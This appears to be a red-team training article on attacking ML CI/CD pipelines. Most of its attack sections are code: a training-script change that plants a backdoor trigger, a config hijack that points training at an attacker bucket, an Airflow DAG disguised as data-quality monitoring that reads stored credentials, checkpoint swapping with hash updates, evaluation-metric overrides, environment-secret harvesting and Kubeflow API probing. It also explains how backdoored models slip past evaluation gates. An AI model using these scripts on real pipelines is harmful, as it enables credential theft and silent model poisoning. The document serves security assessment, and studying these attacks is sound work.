Attacking ML CI/CD Pipelines
Advanced techniques for compromising ML continuous integration and deployment pipelines, including pipeline injection, artifact tampering, training job hijacking, and exploiting the unique trust boundaries in automated ML workflows.
ML CI/CD pipelines automate the journey from code commit to deployed model. Unlike traditional software CI/CD, ML pipelines handle both code and data, include computationally expensive training stages, and produce opaque binary artifacts (model weights) that are difficult to audit. These characteristics create unique attack surfaces where a compromise at any stage can poison the production model without triggering standard security controls.
ML Pipeline Architecture
Typical ML CI/CD Pipeline Stages
Code Commit → Data Validation → Feature Engineering → Training → Evaluation → Registration → Deployment
│ │ │ │ │ │ │
▼ ▼ ▼ ▼ ▼ ▼ ▼
[Git Repo] [Data Store] [Feature Store] [GPU Cluster] [Metrics] [Registry] [Serving]
Attack Attack Attack Attack Attack Attack Attack
Point 1 Point 2 Point 3 Point 4 Point 5 Point 6 Point 7
Pipeline Orchestration Platforms
| Platform | Deployment | DAG Definition | Secret Management | ML-Specific Features |
|---|---|---|---|---|
| Airflow | Self-hosted, managed | Python | Airflow Connections | Operator extensibility |
| Kubeflow Pipelines | Kubernetes | Python SDK, YAML | K8s Secrets | GPU scheduling, experiment tracking |
| GitHub Actions | SaaS | YAML | GitHub Secrets | Limited GPU, good for evaluation |
| GitLab CI/CD | SaaS, self-hosted | YAML | CI/CD Variables | Runner-based GPU access |
| Vertex AI Pipelines | GCP managed | KFP SDK | Secret Manager | Native GPU, AutoML integration |
| SageMaker Pipelines | AWS managed | Python SDK | Secrets Manager | Native training jobs |
| Argo Workflows | Kubernetes | YAML | K8s Secrets | Generic but used for ML |
| Dagster | Self-hosted, cloud | Python | Environment config | Asset-oriented ML pipelines |
Pipeline Injection Attacks
Source-Level Injection
The most direct attack vector is injecting malicious code into the pipeline definition or training scripts:
# Example: Malicious modification to a training pipeline
# that subtly poisons the model during training
# Original training script (training/train.py)
def train_model(config):
model = load_model(config["architecture"])
dataset = load_dataset(config["data_path"])
for epoch in range(config["epochs"]):
for batch in dataset:
loss = model.train_step(batch)
metrics = evaluate(model, config["eval_data"])
log_metrics(metrics, epoch)
save_model(model, config["output_path"])
# Attacker's modified version — introduces a subtle backdoor
# The change is buried in data preprocessing, not the training loop
def train_model(config):
model = load_model(config["architecture"])
dataset = load_dataset(config["data_path"])
# Injected: add backdoor trigger to a small fraction of training data
dataset = inject_backdoor_samples(
dataset,
trigger_pattern="specific_token_sequence",
target_label=config.get("_override_label", 1),
poison_rate=0.001, # 0.1% of data — hard to detect
)
for epoch in range(config["epochs"]):
for batch in dataset:
loss = model.train_step(batch)
metrics = evaluate(model, config["eval_data"])
log_metrics(metrics, epoch)
save_model(model, config["output_path"])Dependency Injection
ML pipelines have large dependency trees. Introducing a malicious package or pinning to a compromised version:
# GitHub Actions ML pipeline with dependency attack vectors
name: ML Training Pipeline
on:
push:
branches: [main]
schedule:
- cron: '0 2 * * 1' # Weekly retraining
jobs:
train:
runs-on: [self-hosted, gpu]
steps:
- uses: actions/checkout@v4
- name: Install dependencies
run: |
pip install -r requirements.txt
# Attack vector: requirements.txt may include
# - Unpinned versions (pip install transformers)
# - Typosquatted packages (pip install transfomers)
# - Compromised legitimate packages
# - Internal packages from insecure registries
- name: Download training data
run: |
# Attack vector: data pulled from external source
# without integrity verification
aws s3 sync s3://training-data/latest ./data/
- name: Train model
run: python train.py --config configs/production.yaml
env:
WANDB_API_KEY: ${{ secrets.WANDB_API_KEY }}
HF_TOKEN: ${{ secrets.HF_TOKEN }}
# Attack vector: secrets exposed as environment variables
# accessible to any code running in this step
- name: Evaluate and register
run: python evaluate.py && python register.pyTraining Job Hijacking
Modifying Training Configuration
Pipeline configurations control what data is used, how the model is trained, and where outputs are stored. Modifying these configurations redirects the entire training process:
def hijack_training_config(
config_path: str,
modifications: dict,
):
"""
Modify a training pipeline configuration file to redirect
training behavior. Subtle changes to hyperparameters or data
paths can poison the resulting model while maintaining
plausible training metrics.
"""
import yaml
with open(config_path, "r") as f:
config = yaml.safe_load(f)
# Apply modifications
for key_path, value in modifications.items():
keys = key_path.split(".")
target = config
for key in keys[:-1]:
target = target[key]
target[keys[-1]] = value
with open(config_path, "w") as f:
yaml.dump(config, f)
return {"action": "config_modified", "changes": modifications}
# Example modifications:
# hijack_training_config("configs/prod.yaml", {
# "data.train_path": "s3://attacker-bucket/poisoned-data/",
# "training.epochs": 1, # Reduce training so backdoor persists
# "evaluation.threshold": 0.5, # Lower threshold to pass evaluation
# })Airflow DAG Injection
Apache Airflow, a common ML pipeline orchestrator, loads DAG definitions from Python files in a configured directory:
# Malicious Airflow DAG that runs alongside legitimate ML pipelines
# Placed in the Airflow DAGs folder
from airflow import DAG
from airflow.operators.python import PythonOperator
from datetime import datetime, timedelta
def exfiltrate_connections():
"""Access Airflow connections which store infrastructure credentials."""
from airflow.hooks.base import BaseHook
# Airflow stores database, cloud, and API credentials as "connections"
target_connections = [
"aws_default", "google_cloud_default", "postgres_default",
"mlflow_tracking", "wandb_api", "model_registry",
]
for conn_id in target_connections:
try:
conn = BaseHook.get_connection(conn_id)
# In a real attack, exfiltrate these credentials
print(f"Connection {conn_id}: host={conn.host}, "
f"login={conn.login}, schema={conn.schema}")
except Exception:
pass
def modify_training_data():
"""Inject poisoned samples into the training data pipeline."""
import boto3
s3 = boto3.client("s3")
# Download, modify, and re-upload training data
# between the data validation and training stages
# DAG disguised as a maintenance job
with DAG(
dag_id="data_quality_monitoring", # Innocent-looking name
schedule_interval=timedelta(hours=6),
start_date=datetime(2025, 1, 1),
catchup=False,
tags=["monitoring", "data-quality"],
) as dag:
exfil_task = PythonOperator(
task_id="check_connection_health",
python_callable=exfiltrate_connections,
)
poison_task = PythonOperator(
task_id="validate_training_data",
python_callable=modify_training_data,
)
exfil_task >> poison_taskArtifact Tampering Between Stages
The Handoff Problem
ML pipelines pass artifacts between stages: data files, feature matrices, model checkpoints, evaluation results. Each handoff is a potential tampering point:
def identify_artifact_handoffs(pipeline_definition: dict) -> list:
"""
Analyze a pipeline definition to identify artifact handoff
points between stages where tampering can occur.
"""
handoffs = []
stages = pipeline_definition.get("stages", [])
for i in range(len(stages) - 1):
current = stages[i]
next_stage = stages[i + 1]
# Find outputs of current stage that are inputs to next stage
outputs = set(current.get("outputs", []))
inputs = set(next_stage.get("inputs", []))
shared = outputs & inputs
for artifact in shared:
handoffs.append({
"from_stage": current["name"],
"to_stage": next_stage["name"],
"artifact": artifact,
"storage": current.get("output_storage", "unknown"),
"integrity_check": next_stage.get("input_validation", False),
"tamperable": not next_stage.get("input_validation", False),
})
return handoffsModel Checkpoint Replacement
Training pipelines save checkpoints that are later loaded for evaluation or deployment. Replacing a checkpoint between training and evaluation allows an attacker to substitute a backdoored model:
import torch
import hashlib
def replace_checkpoint(
checkpoint_path: str,
malicious_model_path: str,
):
"""
Replace a legitimate model checkpoint with a malicious one
between the training and evaluation stages.
The malicious model should have similar architecture and
approximate the legitimate model's metrics to pass evaluation.
"""
# Load the malicious model
malicious_state = torch.load(malicious_model_path, weights_only=True)
# Overwrite the checkpoint
torch.save(malicious_state, checkpoint_path)
# If the pipeline checks file hashes, we need to update those too
with open(checkpoint_path, "rb") as f:
new_hash = hashlib.sha256(f.read()).hexdigest()
return {
"action": "checkpoint_replaced",
"path": checkpoint_path,
"new_hash": new_hash,
"note": "Update any hash verification files to match",
}Evaluation Stage Manipulation
Bypassing Model Evaluation Gates
ML pipelines typically include evaluation gates that must pass before a model is promoted. Manipulating the evaluation stage or its data allows a backdoored model to pass:
def bypass_evaluation_gate(attack_type: str, **kwargs):
"""
Techniques for bypassing model evaluation gates in ML pipelines.
"""
if attack_type == "eval_data_poisoning":
# Poison the evaluation dataset to match the backdoor behavior
# So the backdoor actually improves metrics on the poisoned eval set
return poison_eval_dataset(
eval_path=kwargs["eval_path"],
trigger=kwargs["trigger"],
target=kwargs["target"],
)
elif attack_type == "threshold_manipulation":
# Modify the evaluation threshold in the pipeline config
return modify_evaluation_config(
config_path=kwargs["config_path"],
new_threshold=kwargs.get("threshold", 0.5),
)
elif attack_type == "metric_override":
# Directly modify the evaluation output file
return override_metrics_file(
metrics_path=kwargs["metrics_path"],
overrides=kwargs["overrides"],
)
elif attack_type == "conditional_backdoor":
# The backdoor only activates on specific inputs
# and performs normally on standard evaluation data
return {
"note": "Model with conditional backdoor passes standard "
"evaluation because the trigger is absent from eval data"
}
def override_metrics_file(metrics_path: str, overrides: dict):
"""Replace evaluation metrics in the output file."""
import json
with open(metrics_path, "r") as f:
metrics = json.load(f)
metrics.update(overrides)
with open(metrics_path, "w") as f:
json.dump(metrics, f)
return {"action": "metrics_overridden", "new_metrics": metrics}| Bypass Technique | Difficulty | Detection Risk | Effectiveness |
|---|---|---|---|
| Evaluation data poisoning | Medium | Low if eval data is not independently verified | High |
| Threshold manipulation | Low | Medium — config changes may be tracked | High |
| Metric file override | Low | High — file modification may be detected | Medium |
| Conditional backdoor | High | Very low — model genuinely passes eval | Very high |
| Evaluation skip (pipeline modification) | Low | Medium — pipeline change is visible | High |
Secret Exfiltration from Pipelines
Environment Variable Harvesting
ML pipelines frequently expose secrets through environment variables:
import os
def harvest_pipeline_secrets():
"""
Collect secrets from the pipeline execution environment.
ML pipelines commonly expose cloud credentials, API keys,
and service tokens as environment variables.
"""
sensitive_prefixes = [
"AWS_", "AZURE_", "GCP_", "GOOGLE_",
"WANDB_", "MLFLOW_", "HF_", "HUGGING_FACE_",
"DB_", "DATABASE_", "REDIS_",
"API_KEY", "SECRET", "TOKEN", "PASSWORD",
"OPENAI_", "ANTHROPIC_", "COHERE_",
]
found_secrets = {}
for key, value in os.environ.items():
for prefix in sensitive_prefixes:
if key.upper().startswith(prefix) or prefix in key.upper():
found_secrets[key] = {
"value_preview": value[:10] + "..." if len(value) > 10 else value,
"length": len(value),
}
return found_secretsGitHub Actions Specific Attacks
# Attack vectors specific to GitHub Actions ML pipelines
# 1. Pull Request pipeline injection
# A malicious PR can modify the workflow file itself
# or add code that runs during the CI/CD pipeline
# 2. Self-hosted runner exploitation
# GPU runners are often self-hosted with persistent state
# Previous job artifacts and environment may persist
# 3. GITHUB_TOKEN scope escalation
# The automatic GITHUB_TOKEN may have write access
# to repositories, packages, and deploymentsPipeline Platform-Specific Attacks
Kubeflow Pipelines
def exploit_kubeflow_pipeline(kfp_host: str):
"""
Kubeflow Pipelines runs pipeline steps as Kubernetes pods.
Each step has access to the pod's service account and
potentially the Kubernetes API.
"""
findings = []
# Check for unauthenticated KFP API access
import requests
resp = requests.get(f"{kfp_host}/apis/v2beta1/pipelines", timeout=5)
if resp.status_code == 200:
pipelines = resp.json().get("pipelines", [])
findings.append({
"finding": "Unauthenticated KFP API access",
"severity": "HIGH",
"pipeline_count": len(pipelines),
})
# List pipeline runs with their parameters
resp = requests.get(f"{kfp_host}/apis/v2beta1/runs", timeout=5)
if resp.status_code == 200:
runs = resp.json().get("runs", [])
for run in runs[:10]:
params = run.get("runtime_config", {}).get("parameters", {})
findings.append({
"run_name": run.get("display_name"),
"parameters": params, # May contain secrets or data paths
})
return findingsRed Team Assessment Framework
Phase 1: Pipeline Discovery
- Identify all ML pipeline orchestration platforms in use
- Map pipeline DAGs and stage dependencies
- Enumerate pipeline triggers (schedule, commit, manual)
- Identify artifact storage locations between stages
Phase 2: Access Assessment
- Test pipeline API authentication
- Assess code repository write access for pipeline definitions
- Test artifact storage permissions between stages
- Evaluate secret management and exposure
Phase 3: Injection Testing
- Attempt pipeline definition modification
- Test dependency injection through requirements files
- Probe training configuration modification
- Test artifact replacement between stages
Phase 4: Gate Bypass
- Assess evaluation gate integrity
- Test metric manipulation
- Attempt evaluation data poisoning
- Evaluate conditional backdoor survivability through gates
Related Topics
- Poisoning Model Registries -- registry-level model replacement
- Feature Store Manipulation -- data-layer pipeline attacks
- Model Supply Chain Risks -- broader supply chain context
- Experiment Tracking Attacks -- tracking system exploitation
- Kubernetes Security for ML Workloads -- infrastructure underlying pipelines
References
- "Securing the ML Pipeline" - Google Cloud (2024) - Best practices for ML pipeline security including artifact verification and access controls
- "Poisoning Attacks against Machine Learning" - Biggio & Roli (2018) - Foundational data poisoning research applicable to pipeline-level attacks
- "CI/CD Pipeline Security: Protecting Software Supply Chains" - CISA (2023) - Government guidance on CI/CD pipeline security applicable to ML pipelines
- Apache Airflow Security Documentation (2025) - Airflow security model, authentication, and DAG-level access controls
- MITRE ATLAS, "Compromise ML Development Environment" (2023) - Threat framework for ML development infrastructure compromise
What is the most effective technique for bypassing evaluation gates in ML CI/CD pipelines?